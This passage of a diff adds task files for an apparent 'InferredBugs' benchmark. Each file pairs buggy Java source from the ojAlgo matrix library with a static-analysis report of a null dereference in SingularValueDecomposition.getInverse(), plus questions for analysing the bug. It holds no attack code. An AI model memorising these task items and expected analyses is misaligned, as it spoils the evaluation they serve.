+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package org.ojalgo.matrix.decomposition;
+
+import org.ojalgo.access.Access2D;
+import org.ojalgo.access.Structure2D;
+import org.ojalgo.array.Array1D;
+import org.ojalgo.constant.PrimitiveMath;
+import org.ojalgo.matrix.store.ElementsSupplier;
+import org.ojalgo.matrix.store.MatrixStore;
+import org.ojalgo.matrix.store.PhysicalStore;
+import org.ojalgo.netio.BasicLogger;
+
+abstract class SingularValueDecomposition<N extends Number & Comparable<N>> extends GenericDecomposition<N> implements SingularValue<N> {
+
+    private final BidiagonalDecomposition<N> myBidiagonal;
+    private transient MatrixStore<N> myD;
+    private boolean myFullSize = false;
+    private transient MatrixStore<N> myInverse;
+    private transient MatrixStore<N> myQ1;
+    private transient MatrixStore<N> myQ2;
+    private transient Array1D<Double> mySingularValues;
+    private boolean mySingularValuesOnly = false;
+    private boolean myTransposed = false;
+
+    @SuppressWarnings("unused")
+    private SingularValueDecomposition(final DecompositionStore.Factory<N, ? extends DecompositionStore<N>> aFactory) {
+        this(aFactory, null);
+    }
+
+    protected SingularValueDecomposition(final DecompositionStore.Factory<N, ? extends DecompositionStore<N>> aFactory,
+            final BidiagonalDecomposition<N> aBidiagonal) {
+
+        super(aFactory);
+
+        myBidiagonal = aBidiagonal;
+    }
+
+    public boolean computeValuesOnly(final ElementsSupplier<N> matrix) {
+        return this.compute(matrix, true, false);
+    }
+
+    public boolean decompose(final ElementsSupplier<N> matrix) {
+        return this.compute(matrix, false, this.isFullSize());
+    }
+
+    public double getCondition() {
+
+        final Array1D<Double> tmpSingularValues = this.getSingularValues();
+
+        return tmpSingularValues.doubleValue(0) / tmpSingularValues.doubleValue(tmpSingularValues.length - 1);
+    }
+
+    public MatrixStore<N> getD() {
+
+        if ((myD == null) && this.isComputed()) {
+            myD = this.makeD();
+        }
+
+        return myD;
+    }
+
+    public double getFrobeniusNorm() {
+
+        double retVal = PrimitiveMath.ZERO;
+
+        final Array1D<Double> tmpSingularValues = this.getSingularValues();
+        double tmpVal;
+
+        for (int i = tmpSingularValues.size() - 1; i >= 0; i--) {
+            tmpVal = tmpSingularValues.doubleValue(i);
+            retVal += tmpVal * tmpVal;
+        }
+
+        return Math.sqrt(retVal);
+    }
+
+    public MatrixStore<N> getInverse() {
+
+        if (myInverse == null) {
+
+            final MatrixStore<N> tmpQ1 = this.getQ1();
+            final MatrixStore<N> tmpD = this.getD();
+
+            final int tmpRowDim = (int) tmpD.countRows();
+            final int tmpColDim = (int) tmpQ1.countRows();
+            final PhysicalStore<N> tmpMtrx = this.makeZero(tmpRowDim, tmpColDim);
+
+            double tmpSingularValue;
+            final int rank = this.getRank();
+            for (int i = 0; i < rank; i++) {
+                tmpSingularValue = tmpD.doubleValue(i, i);
+                for (int j = 0; j < tmpColDim; j++) {
+                    tmpMtrx.set(i, j, tmpQ1.toScalar(j, i).conjugate().divide(tmpSingularValue).getNumber());
+                }
+            }
+
+            myInverse = this.getQ2().multiply(tmpMtrx);
+        }
+
+        return myInverse;
+    }
+
+    public MatrixStore<N> getInverse(final DecompositionStore<N> preallocated) {
+
+        if (myInverse == null) {
+
+            preallocated.fillAll(this.scalar().zero().getNumber());
+            final PhysicalStore<N> tmpMtrx = preallocated;
+
+            final MatrixStore<N> tmpQ1 = this.getQ1();
+            final MatrixStore<N> tmpD = this.getD();
+
+            final int tmpColDim = (int) tmpQ1.countRows();
+
+            double tmpSingularValue;
+            final int rank = this.getRank();
+            for (int i = 0; i < rank; i++) {
+                tmpSingularValue = tmpD.doubleValue(i, i);
+                for (int j = 0; j < tmpColDim; j++) {
+                    tmpMtrx.set(i, j, tmpQ1.toScalar(j, i).conjugate().divide(tmpSingularValue).getNumber());
+                }
+            }
+
+            myInverse = this.getQ2().multiply(tmpMtrx);
+        }
+
+        return myInverse;
+    }
+
+    public double getKyFanNorm(final int k) {
+
+        final Array1D<Double> tmpSingularValues = this.getSingularValues();
+
+        double retVal = PrimitiveMath.ZERO;
+
+        for (int i = Math.min(tmpSingularValues.size(), k) - 1; i >= 0; i--) {
+            retVal += tmpSingularValues.doubleValue(i);
+        }
+
+        return retVal;
+    }
+
+    public double getOperatorNorm() {
+        return this.getSingularValues().doubleValue(0);
+    }
+
+    public MatrixStore<N> getQ1() {
+
+        if ((myQ1 == null) && !mySingularValuesOnly && this.isComputed()) {
+            if (myTransposed) {
+                myQ1 = this.makeQ2();
+            } else {
+                myQ1 = this.makeQ1();
+            }
+        }
+
+        return myQ1;
+    }
+
+    public MatrixStore<N> getQ2() {
+
+        if ((myQ2 == null) && !mySingularValuesOnly && this.isComputed()) {
+            if (myTransposed) {
+                myQ2 = this.makeQ1();
+            } else {
+                myQ2 = this.makeQ2();
+            }
+        }
+
+        return myQ2;
+    }
+
+    public int getRank() {
+
+        final Array1D<Double> tmpSingularValues = this.getSingularValues();
+        int retVal = tmpSingularValues.size();
+
+        // Tolerance based on min-dim but should be max-dim
+        final double tmpTolerance = retVal * tmpSingularValues.doubleValue(0) * PrimitiveMath.MACHINE_EPSILON;
+
+        for (int i = retVal - 1; i >= 0; i--) {
+            if (tmpSingularValues.doubleValue(i) <= tmpTolerance) {
+                retVal--;
+            } else {
+                return retVal;
+            }
+        }
+
+        return retVal;
+    }
+
+    public Array1D<Double> getSingularValues() {
+
+        if ((mySingularValues == null) && this.isComputed()) {
+            mySingularValues = this.makeSingularValues();
+        }
+
+        return mySingularValues;
+    }
+
+    public double getTraceNorm() {
+        return this.getKyFanNorm(this.getSingularValues().size());
+    }
+
+    public MatrixStore<N> invert(final Access2D<?> original) {
+        this.decompose(this.wrap(original));
+        return this.getInverse();
+    }
+
+    public MatrixStore<N> invert(final Access2D<?> original, final DecompositionStore<N> preallocated) {
+        this.decompose(this.wrap(original));
+        return this.getInverse(preallocated);
+    }
+
+    public boolean isFullSize() {
+        return myFullSize;
+    }
+
+    public DecompositionStore<N> preallocate(final Structure2D template) {
+        final long tmpCountRows = template.countRows();
+        return this.allocate(tmpCountRows, tmpCountRows);
+    }
+
+    public DecompositionStore<N> preallocate(final Structure2D templateBody, final Structure2D templateRHS) {
+        return this.allocate(templateRHS.countRows(), templateRHS.countColumns());
+    }
+
+    @Override
+    public void reset() {
+
+        super.reset();
+
+        myBidiagonal.reset();
+
+        myD = null;
+        myQ1 = null;
+        myQ2 = null;
+
+        myInverse = null;
+
+        mySingularValuesOnly = false;
+        myTransposed = false;
+    }
+
+    public void setFullSize(final boolean fullSize) {
+        myFullSize = fullSize;
+    }
+
+    public MatrixStore<N> solve(final Access2D<?> body, final Access2D<?> rhs) {
+        this.decompose(this.wrap(body));
+        return this.solve(this.wrap(rhs));
+    }
+
+    public MatrixStore<N> solve(final Access2D<?> body, final Access2D<?> rhs, final DecompositionStore<N> preallocated) {
+        this.decompose(this.wrap(body));
+        return this.solve(rhs, preallocated);
+    }
+
+    public final MatrixStore<N> solve(final ElementsSupplier<N> rhs) {
+        return this.getInverse().multiply(rhs.get());
+    }
+
+    public MatrixStore<N> solve(final ElementsSupplier<N> rhs, final DecompositionStore<N> preallocated) {
+        preallocated.fillByMultiplying(this.getInverse(), rhs.get());
+        return preallocated;
+    }
+
+    protected boolean compute(final ElementsSupplier<N> matrix, final boolean singularValuesOnly, final boolean fullSize) {
+
+        this.reset();
+
+        if (matrix.countRows() >= matrix.countColumns()) {
+            myTransposed = false;
+        } else {
+            myTransposed = true;
+        }
+
+        mySingularValuesOnly = singularValuesOnly;
+
+        boolean retVal = false;
+
+        try {
+
+            retVal = this.doCompute(myTransposed ? matrix.get().conjugate() : matrix, singularValuesOnly, fullSize);
+
+        } catch (final Exception anException) {
+
+            BasicLogger.error(anException.toString());
+
+            this.reset();
+
+            retVal = false;
+        }
+
+        return this.computed(retVal);
+    }
+
+    protected boolean computeBidiagonal(final ElementsSupplier<N> matrix, final boolean fullSize) {
+        myBidiagonal.setFullSize(fullSize);
+        return myBidiagonal.decompose(matrix);
+    }
+
+    protected abstract boolean doCompute(ElementsSupplier<N> aMtrx, boolean singularValuesOnly, boolean fullSize);
+
+    protected DiagonalAccess<N> getBidiagonalAccessD() {
+        return myBidiagonal.getDiagonalAccessD();
+    }
+
+    protected DecompositionStore<N> getBidiagonalQ1() {
+        return (DecompositionStore<N>) myBidiagonal.getQ1();
+    }
+
+    protected DecompositionStore<N> getBidiagonalQ2() {
+        return (DecompositionStore<N>) myBidiagonal.getQ2();
+    }
+
+    protected boolean isTransposed() {
+        return myTransposed;
+    }
+
+    protected abstract MatrixStore<N> makeD();
+
+    protected abstract MatrixStore<N> makeQ1();
+
+    protected abstract MatrixStore<N> makeQ2();
+
+    protected abstract Array1D<Double> makeSingularValues();
+
+    void setD(final MatrixStore<N> someD) {
+        myD = someD;
+    }
+
+    void setQ1(final MatrixStore<N> someQ1) {
+        myQ1 = someQ1;
+    }
+
+    void setQ2(final MatrixStore<N> someQ2) {
+        myQ2 = someQ2;
+    }
+
+    void setSingularValues(final Array1D<Double> someSingularValues) {
+        mySingularValues = someSingularValues;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `tmpD` last assigned on line 102 could be null and is dereferenced at line 104.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+MatrixStore SingularValueDecomposition.getInverse()
+
+### Procedure Id:
+org.ojalgo.matrix.decomposition.SingularValueDecomposition.getInverse():org.ojalgo.matrix.store.Matr.86f984054ce9191b593fd1a1e0b56c74
+
+### File:
+src/org/ojalgo/matrix/decomposition/SingularValueDecomposition.java
+
+### Key:
+SingularValueDecomposition.java|getInverse|NULL_DEREFERENCE
+
+### Node Key:
+d46e1684de2ca326ba231ad8a5b48143
+
+### Hash:
+76d332f1722bb3a3b915001d0684f9bd
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3782/instruction.md b/inferredbugs-3782/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..68fee725f773dc8662aa304b33526e992e14539a
--- /dev/null
+++ b/inferredbugs-3782/instruction.md
@@ -0,0 +1,439 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ojAlgo
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 1997-2015 Optimatika (www.optimatika.se)
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package org.ojalgo.matrix.decomposition;
+
+import org.ojalgo.access.Access2D;
+import org.ojalgo.access.Structure2D;
+import org.ojalgo.array.Array1D;
+import org.ojalgo.constant.PrimitiveMath;
+import org.ojalgo.matrix.store.ElementsSupplier;
+import org.ojalgo.matrix.store.MatrixStore;
+import org.ojalgo.matrix.store.PhysicalStore;
+import org.ojalgo.netio.BasicLogger;
+
+abstract class SingularValueDecomposition<N extends Number & Comparable<N>> extends GenericDecomposition<N> implements SingularValue<N> {
+
+    private final BidiagonalDecomposition<N> myBidiagonal;
+    private transient MatrixStore<N> myD;
+    private boolean myFullSize = false;
+    private transient MatrixStore<N> myInverse;
+    private transient MatrixStore<N> myQ1;
+    private transient MatrixStore<N> myQ2;
+    private transient Array1D<Double> mySingularValues;
+    private boolean mySingularValuesOnly = false;
+    private boolean myTransposed = false;
+
+    @SuppressWarnings("unused")
+    private SingularValueDecomposition(final DecompositionStore.Factory<N, ? extends DecompositionStore<N>> aFactory) {
+        this(aFactory, null);
+    }
+
+    protected SingularValueDecomposition(final DecompositionStore.Factory<N, ? extends DecompositionStore<N>> aFactory,
+            final BidiagonalDecomposition<N> aBidiagonal) {
+
+        super(aFactory);
+
+        myBidiagonal = aBidiagonal;
+    }
+
+    public boolean computeValuesOnly(final ElementsSupplier<N> matrix) {
+        return this.compute(matrix, true, false);
+    }
+
+    public boolean decompose(final ElementsSupplier<N> matrix) {
+        return this.compute(matrix, false, this.isFullSize());
+    }
+
+    public double getCondition() {
+
+        final Array1D<Double> tmpSingularValues = this.getSingularValues();
+
+        return tmpSingularValues.doubleValue(0) / tmpSingularValues.doubleValue(tmpSingularValues.length - 1);
+    }
+
+    public MatrixStore<N> getD() {
+
+        if ((myD == null) && this.isComputed()) {
+            myD = this.makeD();
+        }
+
+        return myD;
+    }
+
+    public double getFrobeniusNorm() {
+
+        double retVal = PrimitiveMath.ZERO;
+
+        final Array1D<Double> tmpSingularValues = this.getSingularValues();
+        double tmpVal;
+
+        for (int i = tmpSingularValues.size() - 1; i >= 0; i--) {
+            tmpVal = tmpSingularValues.doubleValue(i);
+            retVal += tmpVal * tmpVal;
+        }
+
+        return Math.sqrt(retVal);
+    }
+
+    public MatrixStore<N> getInverse() {
+
+        if (myInverse == null) {
+
+            final MatrixStore<N> tmpQ1 = this.getQ1();
+            final MatrixStore<N> tmpD = this.getD();
+
+            final int tmpRowDim = (int) tmpD.countRows();
+            final int tmpColDim = (int) tmpQ1.countRows();
+            final PhysicalStore<N> tmpMtrx = this.makeZero(tmpRowDim, tmpColDim);
+
+            double tmpSingularValue;
+            final int rank = this.getRank();
+            for (int i = 0; i < rank; i++) {
+                tmpSingularValue = tmpD.doubleValue(i, i);
+                for (int j = 0; j < tmpColDim; j++) {
+                    tmpMtrx.set(i, j, tmpQ1.toScalar(j, i).conjugate().divide(tmpSingularValue).getNumber());
+                }
+            }
+
+            myInverse = this.getQ2().multiply(tmpMtrx);
+        }
+
+        return myInverse;
+    }
+
+    public MatrixStore<N> getInverse(final DecompositionStore<N> preallocated) {
+
+        if (myInverse == null) {
+
+            preallocated.fillAll(this.scalar().zero().getNumber());
+            final PhysicalStore<N> tmpMtrx = preallocated;
+
+            final MatrixStore<N> tmpQ1 = this.getQ1();
+            final MatrixStore<N> tmpD = this.getD();
+
+            final int tmpColDim = (int) tmpQ1.countRows();
+
+            double tmpSingularValue;
+            final int rank = this.getRank();
+            for (int i = 0; i < rank; i++) {
+                tmpSingularValue = tmpD.doubleValue(i, i);
+                for (int j = 0; j < tmpColDim; j++) {
+                    tmpMtrx.set(i, j, tmpQ1.toScalar(j, i).conjugate().divide(tmpSingularValue).getNumber());
+                }
+            }
+
+            myInverse = this.getQ2().multiply(tmpMtrx);
+        }
+
+        return myInverse;
+    }
+
+    public double getKyFanNorm(final int k) {
+
+        final Array1D<Double> tmpSingularValues = this.getSingularValues();
+
+        double retVal = PrimitiveMath.ZERO;
+
+        for (int i = Math.min(tmpSingularValues.size(), k) - 1; i >= 0; i--) {
+            retVal += tmpSingularValues.doubleValue(i);
+        }
+
+        return retVal;
+    }
+
+    public double getOperatorNorm() {
+        return this.getSingularValues().doubleValue(0);
+    }
+
+    public MatrixStore<N> getQ1() {
+
+        if ((myQ1 == null) && !mySingularValuesOnly && this.isComputed()) {
+            if (myTransposed) {
+                myQ1 = this.makeQ2();
+            } else {
+                myQ1 = this.makeQ1();
+            }
+        }
+
+        return myQ1;
+    }
+
+    public MatrixStore<N> getQ2() {
+
+        if ((myQ2 == null) && !mySingularValuesOnly && this.isComputed()) {
+            if (myTransposed) {
+                myQ2 = this.makeQ1();
+            } else {
+                myQ2 = this.makeQ2();
+            }
+        }
+
+        return myQ2;
+    }
+
+    public int getRank() {
+
+        final Array1D<Double> tmpSingularValues = this.getSingularValues();
+        int retVal = tmpSingularValues.size();
+
+        // Tolerance based on min-dim but should be max-dim
+        final double tmpTolerance = retVal * tmpSingularValues.doubleValue(0) * PrimitiveMath.MACHINE_EPSILON;
+
+        for (int i = retVal - 1; i >= 0; i--) {
+            if (tmpSingularValues.doubleValue(i) <= tmpTolerance) {
+                retVal--;
+            } else {
+                return retVal;
+            }
+        }
+
+        return retVal;
+    }
+
+    public Array1D<Double> getSingularValues() {
+
+        if ((mySingularValues == null) && this.isComputed()) {
+            mySingularValues = this.makeSingularValues();
+        }
+
+        return mySingularValues;
+    }
+
+    public double getTraceNorm() {
+        return this.getKyFanNorm(this.getSingularValues().size());
+    }
+
+    public MatrixStore<N> invert(final Access2D<?> original) {
+        this.decompose(this.wrap(original));
+        return this.getInverse();
+    }
+
+    public MatrixStore<N> invert(final Access2D<?> original, final DecompositionStore<N> preallocated) {
+        this.decompose(this.wrap(original));
+        return this.getInverse(preallocated);
+    }
+
+    public boolean isFullSize() {
+        return myFullSize;
+    }
+
+    public DecompositionStore<N> preallocate(final Structure2D template) {
+        final long tmpCountRows = template.countRows();
+        return this.allocate(tmpCountRows, tmpCountRows);
+    }
+
+    public DecompositionStore<N> preallocate(final Structure2D templateBody, final Structure2D templateRHS) {
+        return this.allocate(templateRHS.countRows(), templateRHS.countColumns());
+    }
+
+    @Override
+    public void reset() {
+
+        super.reset();
+
+        myBidiagonal.reset();
+
+        myD = null;
+        myQ1 = null;
+        myQ2 = null;
+
+        myInverse = null;
+
+        mySingularValuesOnly = false;
+        myTransposed = false;
+    }
+
+    public void setFullSize(final boolean fullSize) {
+        myFullSize = fullSize;
+    }
+
+    public MatrixStore<N> solve(final Access2D<?> body, final Access2D<?> rhs) {
+        this.decompose(this.wrap(body));
+        return this.solve(this.wrap(rhs));
+    }
+
+    public MatrixStore<N> solve(final Access2D<?> body, final Access2D<?> rhs, final DecompositionStore<N> preallocated) {
+        this.decompose(this.wrap(body));
+        return this.solve(rhs, preallocated);
+    }
+
+    public final MatrixStore<N> solve(final ElementsSupplier<N> rhs) {
+        return this.getInverse().multiply(rhs.get());
+    }
+
+    public MatrixStore<N> solve(final ElementsSupplier<N> rhs, final DecompositionStore<N> preallocated) {
+        preallocated.fillByMultiplying(this.getInverse(), rhs.get());
+        return preallocated;
+    }
+
+    protected boolean compute(final ElementsSupplier<N> matrix, final boolean singularValuesOnly, final boolean fullSize) {
+
+        this.reset();
+
+        if (matrix.countRows() >= matrix.countColumns()) {
+            myTransposed = false;
+        } else {
+            myTransposed = true;
+        }
+
+        mySingularValuesOnly = singularValuesOnly;
+
+        boolean retVal = false;
+
+        try {
+
+            retVal = this.doCompute(myTransposed ? matrix.get().conjugate() : matrix, singularValuesOnly, fullSize);
+
+        } catch (final Exception anException) {
+
+            BasicLogger.error(anException.toString());
+
+            this.reset();
+
+            retVal = false;
+        }
+
+        return this.computed(retVal);
+    }
+
+    protected boolean computeBidiagonal(final ElementsSupplier<N> matrix, final boolean fullSize) {
+        myBidiagonal.setFullSize(fullSize);
+        return myBidiagonal.decompose(matrix);
+    }
+
+    protected abstract boolean doCompute(ElementsSupplier<N> aMtrx, boolean singularValuesOnly, boolean fullSize);
+
+    protected DiagonalAccess<N> getBidiagonalAccessD() {
+        return myBidiagonal.getDiagonalAccessD();
+    }
+
+    protected DecompositionStore<N> getBidiagonalQ1() {
+        return (DecompositionStore<N>) myBidiagonal.getQ1();
+    }
+
+    protected DecompositionStore<N> getBidiagonalQ2() {
+        return (DecompositionStore<N>) myBidiagonal.getQ2();
+    }
+
+    protected boolean isTransposed() {
+        return myTransposed;
+    }
+
+    protected abstract MatrixStore<N> makeD();
+
+    protected abstract MatrixStore<N> makeQ1();
+
+    protected abstract MatrixStore<N> makeQ2();
+
+    protected abstract Array1D<Double> makeSingularValues();
+
+    void setD(final MatrixStore<N> someD) {
+        myD = someD;
+    }
+
+    void setQ1(final MatrixStore<N> someQ1) {
+        myQ1 = someQ1;
+    }
+
+    void setQ2(final MatrixStore<N> someQ2) {
+        myQ2 = someQ2;
+    }
+
+    void setSingularValues(final Array1D<Double> someSingularValues) {
+        mySingularValues = someSingularValues;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `tmpD` last assigned on line 131 could be null and is dereferenced at line 138.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+MatrixStore SingularValueDecomposition.getInverse(DecompositionStore)
+
+### Procedure Id:
+org.ojalgo.matrix.decomposition.SingularValueDecomposition.getInverse(org.ojalgo.matrix.decompositio.1010ca7221e715af8b6c1542fd6a8386
+
+### File:
+src/org/ojalgo/matrix/decomposition/SingularValueDecomposition.java
+
+### Key:
+SingularValueDecomposition.java|getInverse|NULL_DEREFERENCE
+
+### Node Key:
+273bdc2d61a3e50a6fd98d2df948c4e6
+
+### Hash:
+4ebb8686cfa0f643b4f8f7429df24efb
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3783/instruction.md b/inferredbugs-3783/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4eac84e2f29eecd86b7c46a1e1bdac3dfb314514
--- /dev/null
+++ b/inferredbugs-3783/instruction.md
@@ -0,0 +1,815 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ojAlgo
+**Bug ID:** 15
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 1997-2019 Optimatika
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package org.ojalgo.optimisation;
+
+import static org.ojalgo.function.constant.BigMath.*;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.IOException;
+import java.math.BigDecimal;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+import org.ojalgo.netio.ASCII;
+import org.ojalgo.structure.Access1D;
+import org.ojalgo.type.context.NumberContext;
+
+/**
+ * Mathematical Programming System (MPS) Model
+ *
+ * @author apete
+ */
+public final class MathProgSysModel {
+
+    /**
+     * BoundType used with the BOUNDS section.
+     *
+     * <pre>
+     *  type            meaning
+     * ---------------------------------------------------
+     *   LO    lower bound        b <= x (< +inf)
+     *   UP    upper bound        (0 <=) x <= b
+     *   FX    fixed variable     x = b
+     *   FR    free variable      -inf < x < +inf
+     *   MI    lower bound -inf   -inf < x (<= 0)
+     *   PL    upper bound +inf   (0 <=) x < +inf
+     *   BV    binary variable    x = 0 or 1
+     *   LI    integer variable   b <= x (< +inf)
+     *   UI    integer variable   (0 <=) x <= b
+     *   SC    semi-cont variable x = 0 or l <= x <= b
+     *         l is the lower bound on the variable
+     *         If none set then defaults to 1
+     * </pre>
+     *
+     * @author apete
+     */
+    enum BoundType {
+
+        BV(), FR(), FX(), LI(), LO(), MI(), PL(), SC(), UI(), UP();
+
+    }
+    final class Column extends Object {
+
+        private boolean mySemicontinuous = false;
+        private final Variable myVariable;
+
+        Column(final String name) {
+
+            super();
+
+            myVariable = new Variable(name);
+            myDelegate.addVariable(myVariable);
+
+            this.bound(BoundType.PL, null);
+        }
+
+        public Column bound(final BoundType type, final BigDecimal value) {
+
+            switch (type) {
+
+            case LO:
+
+                myVariable.lower(value);
+
+                break;
+
+            case UP:
+
+                myVariable.upper(value);
+
+                if (!myVariable.isLowerLimitSet()) {
+                    myVariable.lower(ZERO);
+                }
+
+                break;
+
+            case FX:
+
+                myVariable.level(value);
+
+                break;
+
+            case FR:
+
+                myVariable.level(null);
+
+                break;
+
+            case MI:
+
+                myVariable.lower(null);
+
+                if (!myVariable.isUpperLimitSet()) {
+                    myVariable.upper(ZERO);
+                }
+
+                break;
+
+            case PL:
+
+                myVariable.upper(null);
+
+                if (!myVariable.isLowerLimitSet()) {
+                    myVariable.lower(ZERO);
+                }
+
+                break;
+
+            case BV:
+
+                myVariable.lower(ZERO).upper(ONE).integer(true);
+
+                break;
+
+            case LI:
+
+                myVariable.lower(value).upper(null).integer(true);
+
+                break;
+
+            case UI:
+
+                myVariable.upper(value).integer(true);
+
+                if (!myVariable.isLowerLimitSet()) {
+                    myVariable.lower(ZERO);
+                }
+
+                break;
+
+            case SC:
+
+                mySemicontinuous = true;
+
+                myVariable.upper(value);
+
+                if (!myVariable.isLowerLimitSet()) {
+                    myVariable.lower(ONE);
+                }
+
+                break;
+
+            default:
+
+                break;
+            }
+
+            return this;
+        }
+
+        public Column integer(final boolean flag) {
+            myVariable.setInteger(flag);
+            return this;
+        }
+
+        public void setRowValue(final String rowName, final BigDecimal value) {
+            Row row = myRows.get(rowName);
+            Expression expression = row.getExpression();
+            expression.set(myVariable, value);
+        }
+
+        /**
+         * @return the variable
+         */
+        Variable getVariable() {
+            return myVariable;
+        }
+
+        boolean isSemicontinuous() {
+            return mySemicontinuous;
+        }
+
+    }
+    /**
+     * @author apete
+     */
+    enum ColumnMarker {
+
+        INTEND(), INTORG();
+
+    }
+
+    enum FileSection {
+
+        BOUNDS(), COLUMNS(), ENDATA(), NAME(), OBJNAME(), OBJSENSE(), RANGES(), RHS(), ROWS(), SOS();
+
+    }
+
+    final class Row extends Object {
+
+        private final Expression myExpression;
+
+        private final RowType myType;
+
+        Row(final String name, final RowType rowType) {
+
+            super();
+
+            myExpression = myDelegate.addExpression(name);
+
+            myType = rowType;
+
+            if (myType == RowType.N) {
+                myExpression.weight(ONE);
+            } else {
+                myExpression.weight(null);
+            }
+
+            // 0.0 is the default RHS value
+            this.rhs(ZERO);
+        }
+
+        public Row range(final BigDecimal value) {
+
+            switch (myType) {
+
+            case E:
+
+                final int tmpSignum = value.signum();
+                if (tmpSignum == 1) {
+                    myExpression.upper(myExpression.getLowerLimit().add(value));
+                } else if (tmpSignum == -1) {
+                    myExpression.lower(myExpression.getUpperLimit().add(value));
+                }
+
+                break;
+
+            case L:
+
+                myExpression.lower(myExpression.getUpperLimit().subtract(value.abs()));
+
+                break;
+
+            case G:
+
+                myExpression.upper(myExpression.getLowerLimit().add(value.abs()));
+
+                break;
+
+            case N:
+
+                myExpression.level(null);
